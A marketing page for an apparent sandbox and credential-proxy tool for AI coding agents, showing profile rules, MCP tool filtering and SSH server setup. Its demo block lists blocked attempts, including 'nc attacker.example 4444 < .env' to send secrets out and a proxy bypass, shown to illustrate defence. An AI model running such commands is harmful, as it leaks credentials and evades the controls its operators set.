Run coding agentswithout the babysitting
Sandbox them on your laptop, in Docker or on your own server. Set rules once for files, APIs and MCP. Your agent uses your credentials without ever seeing them.
Works with Claude Code and Codex.Open-source CLI. Set up in minutes.
$
curl -fsSL https://stashbase.dev/cli/install.sh | bashFree forever: sandboxing, proxy access, and unlimited profiles.
Give agents access, not your credentials
Let coding agents use the APIs, tools, and credentials they need, without ever seeing the raw secrets.
Let it call your real APIs
GitHub, Stripe, Linear: the agent gets a placeholder, and the proxy adds the real key only for hosts you approve.
Let it run without babysitting
Approve less. The sandbox blocks everything outside your rules, and the agent can’t switch it off.
Let it work in your actual project
Full access to your code and packages, while .env files, keys, and certificates stay unreadable. Registries never see a credential.
Catch what the agent gets wrong
Packages with known vulnerabilities are stopped before they install, and commits are scanned for hardcoded secrets.
Review it like code
Profiles live in your repo, so changes to agent access get reviewed like any other code.
See what it did
A local log of every request, allowed or blocked. Metadata only, never values. Allow a blocked host in one command.
[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"
[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]
[mcp_servers.linear]
url = "https://mcp.linear.app/mcp"
binding = "LINEAR_API_KEY"
allow_tools = ["*"]
deny_tools = ["delete_issue"]Let it use MCP tools, minus the dangerous ones.
Credentials stay at the boundary
Bindings inject authentication without exposing its value.
Allowed tools are visible
Unauthorized tools are filtered from the server’s tool list.
Denied tools cannot run
Calls outside policy are rejected before they reach the server.
Choose the right boundary
Use the same profile with either proxy. Your agent runs on your machine in both cases; only the place where credentials are injected changes.
The proxy on your machine adds credentials to allowed requests. Use secrets from a local file or a Stashbase project.
Your machine never holds the secret, so a compromised laptop has nothing to steal. See and revoke every session.
Say yes to more agent runs
With Docker, the agent reaches the network only through Stashbase, so your rules hold even when you stop watching.
$ cat .env
cat: .env: Permission denied
# denied by the profile
$ env -u HTTPS_PROXY curl https://example.com
curl: (7) Failed to connect
# can't skip the proxy: blocked by the firewall
$ nc attacker.example 4444 < .env
# blocked: only HTTP(S) through the proxy is allowed
$ nc -z host.docker.internal 5432
# blocked: no route to the host or private networks
$ curl -u "$STRIPE_SECRET_KEY:" \
https://api.stripe.com/v1/charges
# 200 OK: allowed, real key injected by the proxyA firewall, not just env vars
Each sandbox has its own firewall with no direct route to the internet, your host, or private networks. The only way out is the Stashbase proxy.
$ env -u HTTPS_PROXY curl … → blockedRules the agent can’t touch
The firewall sits outside the agent’s reach, so even a compromised agent can’t switch it off.
disable firewall → permission deniedTwo backends, same profile
An OS-level sandbox by default, with nothing extra to install. Or switch to Docker for container isolation, where the agent sees only your project.
backend = "native" | "docker"Bring your own image
Use the default image with Claude Code and Codex preinstalled, or bring your own. Custom images add tools, never privileges.
dockerfile = "./sandbox.Dockerfile"Run agents on a server, not your laptop
Run your agents on a server you reach over SSH, with the same profiles, sandbox and proxy.
$ stashbase ssh install mybox
# a host from ~/.ssh/config, or user@host
$ stashbase ssh setup mybox
# sign in on the server, then check the key and Docker
$ stashbase ssh open mybox
# attached to the server's stashbase tmux session
mybox $ stashbase agent run --profile coding -- claudeKeeps running when you leave
Agents run in a tmux session on the server and keep going when you close your laptop. Reattach from anywhere, even your phone.
detach → agents keep runningYour laptop’s key stays put
The server gets its own key, which you can revoke anytime. The key on your laptop is never copied.
one machine, one keyYour own SSH, nothing new
Stashbase uses the ssh you already have, with your config, keys, and jump hosts.
stashbase ssh install user@hostDev servers on localhost
Forward a port so the app the agent is working on opens on your laptop.
stashbase ssh open mybox --port 3000Works with x86_64 Linux servers and Apple Silicon Macs. Use one machine per developer.
See how remote machines workFor teams: share access, not secrets
Give teammates and agents the access they need without sending secrets around. Everyone keeps their own credentials, and each agent profile picks only what it needs.
Share secrets with your team and your agents
Projects and environments group secrets however your work is organized, and agent profiles pull from them.
Keep your own credentials yours
Personal credentials stay on Stashbase servers. Only the remote proxy uses them, for requests you allow.
Decide who can change what
Roles and teams control who can read or change each environment.
Keep your existing tools in sync
Sync secrets with GitHub, Vercel, GCP Secret Manager, and AWS Secrets Manager.
Bring your own secrets
Keep them in 1Password or Bitwarden. Stashbase only borrows a key for the moment your agents need it.
Coming soon. 1Password and Bitwarden are trademarks of their respective owners and are not affiliated with Stashbase.
Let your agents do more, starting today.
Sandboxing, proxy access, and unlimited profiles are free forever. Start with one project and bring in your team when you’re ready.